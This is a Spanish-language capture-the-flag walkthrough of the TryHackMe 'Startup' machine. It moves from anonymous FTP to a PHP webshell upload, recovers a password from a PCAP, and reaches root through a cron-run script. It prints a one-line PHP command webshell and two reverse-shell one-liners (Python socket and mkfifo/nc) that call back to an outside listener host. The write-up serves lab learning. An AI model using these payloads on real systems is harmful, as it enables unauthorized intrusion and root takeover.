This page looks best with JavaScript enabled

TryHackMe - Startup

 •  ✍️ sckull

Startup es una maquina de TryHackMe utilizamos FTP para subir una webshell para luego obtener una shell. Accedimos con un segundo usuario analizando un archivo PCAP. Finalmente ejecutamos una shell inversa editando un script utilizado por un CronJob.

Room

Titulo Startup box_img_maker
Descripción Abuse traditional vulnerabilities via untraditional means.
Puntos 140
Dificultad Facil
Maker

elbee

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), ssh (22) y el puerto http (80) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# Nmap 7.80 scan initiated Wed Dec  9 02:42:39 2020 as: nmap -p- --min-rate 1000 -o allPorts startup.thm
Nmap scan report for startup.thm (10.10.134.232)
Host is up (0.27s latency).
Not shown: 64048 closed ports, 1484 filtered ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

# Nmap done at Wed Dec  9 02:45:09 2020 -- 1 IP address (1 host up) scanned in 150.15 seconds

# Nmap 7.80 scan initiated Wed Dec  9 02:45:44 2020 as: nmap -p80,21,22,80 -sV -sC -o servicePorts startup.thm
Nmap scan report for startup.thm (10.10.134.232)
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12 04:53 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12 04:02 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12 04:53 notice.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.2.29.162
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
|   256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_  256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec  9 02:46:02 2020 -- 1 IP address (1 host up) scanned in 17.95 seconds

FTP

Ingresamos al servicio FTP con las “credenciales” de anonymous (anonymous:anonymous), donde encontramos algunos archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
kali@kali:~/thm/startup$ ftp startup.thm
Connected to startup.thm.
220 (vsFTPd 3.0.3)
Name (startup.thm:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 65534    65534        4096 Nov 12 04:53 .
drwxr-xr-x    3 65534    65534        4096 Nov 12 04:53 ..
-rw-r--r--    1 0        0               5 Nov 12 04:53 .test.log
drwxrwxrwx    2 65534    65534        4096 Nov 12 04:53 ftp
-rw-r--r--    1 0        0          251631 Nov 12 04:02 important.jpg
-rw-r--r--    1 0        0             208 Nov 12 04:53 notice.txt
226 Directory send OK.
ftp> get .test.log
local: .test.log remote: .test.log
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .test.log (5 bytes).
226 Transfer complete.
5 bytes received in 0.00 secs (13.9909 kB/s)
ftp> get important.jpg
local: important.jpg remote: important.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for important.jpg (251631 bytes).
226 Transfer complete.
251631 bytes received in 1.15 secs (214.0925 kB/s)
ftp> get notice.txt
local: notice.txt remote: notice.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for notice.txt (208 bytes).
226 Transfer complete.
208 bytes received in 0.00 secs (259.4189 kB/s)
ftp> cd ftp
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 65534    65534        4096 Nov 12 04:53 .
drwxr-xr-x    3 65534    65534        4096 Nov 12 04:53 ..
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> pwd
257 "/" is the current directory
ftp>

Imagen encontrada en FTP
image

Uno de los archivos contiene un mensaje en el cual indica que “alguien esta compartiendo archivos (memes) en la carpeta (de ftp) y estos archivos se muestran en la pagina web”. Lo cual indica que en cierta parte de la pagina web se muestran los archivos que se encuentran en el servicio ftp.

1
2
3
4
5
kali@kali:~/thm/startup$ cat notice.txt
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
kali@kali:~/thm/startup$ cat .test.log 
test
kali@kali:~/thm/startup$

HTTP

Encontramos una pagina web en el puerto 80 la cual no contiene informacion interesante.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
4
5
6
kali@kali:~/thm/startup$ gobuster dir -u http://startup.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 15 -x php,html,txt 
/files (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/server-status (Status: 403)
kali@kali:~/thm/startup$

Como indicaba el mensaje en uno de los archivos, se muestran archivos (que se encuentran en el servicio FTP) en la pagina web.
image

WWW-DATA - USER

Mediante una mini webshell ejecutamos comandos en la maquina, subiendo esta en la carpeta ftp/ del servicio FTP, ya que tenemos acceso mediante el “usuario” anonymous.

1
<?php echo "<pre>"; system($_GET['cmd']); ?>

Mini webshell a la carpeta ftp/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 65534    65534        4096 Nov 12 04:53 .
drwxr-xr-x    3 65534    65534        4096 Nov 12 04:53 ..
-rw-r--r--    1 0        0               5 Nov 12 04:53 .test.log
drwxrwxrwx    2 65534    65534        4096 Nov 12 04:53 ftp
-rw-r--r--    1 0        0          251631 Nov 12 04:02 important.jpg
-rw-r--r--    1 0        0             208 Nov 12 04:53 notice.txt
226 Directory send OK.
ftp> cd ftp
250 Directory successfully changed.
ftp> put shell.php5 
local: shell.php5 remote: shell.php5
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
45 bytes sent in 0.00 secs (392.3689 kB/s)
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 65534    65534        4096 Dec 09 08:01 .
drwxr-xr-x    3 65534    65534        4096 Nov 12 04:53 ..
-rwxrwxr-x    1 112      118            45 Dec 09 08:01 shell.php5
226 Directory send OK.
ftp> 

El archivo se muestra en la direccion de la pagina /files/ftp.
image

Al ejecutar un comando se muestra en pantalla.
image

Ejecutamos una shell inversa y ponemos a la escucha netcat en el puerto especificado.
N: “Es posible ejecutar la shell inversa insertando esta en el codigo de la mini webshell.”

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Obtenemos una shell con usuario www-data.
image

En la maquina encontramos algunos archivos interesantes, el primero solo menciona un ingrediente principal, el segundo es un archivo de captura de paquetes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
www-data@startup:/$ cat recipe.txt
cat recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was ... spoiler ... .
www-data@startup:/$

www-data@startup:/incidents$ ls -lah
ls -lah
total 40K
drwxr-xr-x  2 www-data www-data 4.0K Nov 12 04:53 .
drwxr-xr-x 25 root     root     4.0K Dec  9 07:39 ..
-rwxr-xr-x  1 www-data www-data  31K Nov 12 04:53 suspicious.pcapng
www-data@startup:/incidents$

Utilizamos wireshark para analizar el segundo archivo, en dicho archivo encontramos que se subió y se ejecutaron comandos mediante una shell, en los comandos encontrados se muestra la contraseña que aparentemente es del usuario Lennie.
image

LENNIE - USER

Utilizamos esta contraseña para cambiar al usuario Lennie y obtener nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Realizamos una pequeña enumeracion en la carpeta del usuario Lennie y encontramos archivos que son propiedad del usuario root, en el primero de ellos realiza un echo al archivo startup_list.txt y ejecuta el archivo /etc/print.sh el cual contiene un echo, el segundo archivo (startup_list.txt) no contiene nada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
lennie@startup:~/scripts$ cat planner.sh 
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
lennie@startup:~/scripts$ cat startup_list.txt 

lennie@startup:~/scripts$
lennie@startup:~/scripts$ ls -lah /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12 04:53 /etc/print.sh
lennie@startup:~/scripts$ cat /etc/print.sh
#!/bin/bash
echo "Done!"
lennie@startup:~/scripts$ 

Ejecutamos pspy para verificar si el archivo planner.sh es ejecutado por algun cron del usuario root, lo cual se confirmo.
image

Ya que el archivo print.sh es propiedad del archivo Lennie, vamos a editar este e insertar una shell inversa y poner a la escucha netcat en el puerto especificado.

1
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1338 >/tmp/f" >> /etc/print.sh

Obtenemos una shell con el usuario root y nuestra flat root.txt.
image

Share on

Dany Sucuc
WRITTEN BY
sckull
CTF Player | RedTeamer & Pentester wannabe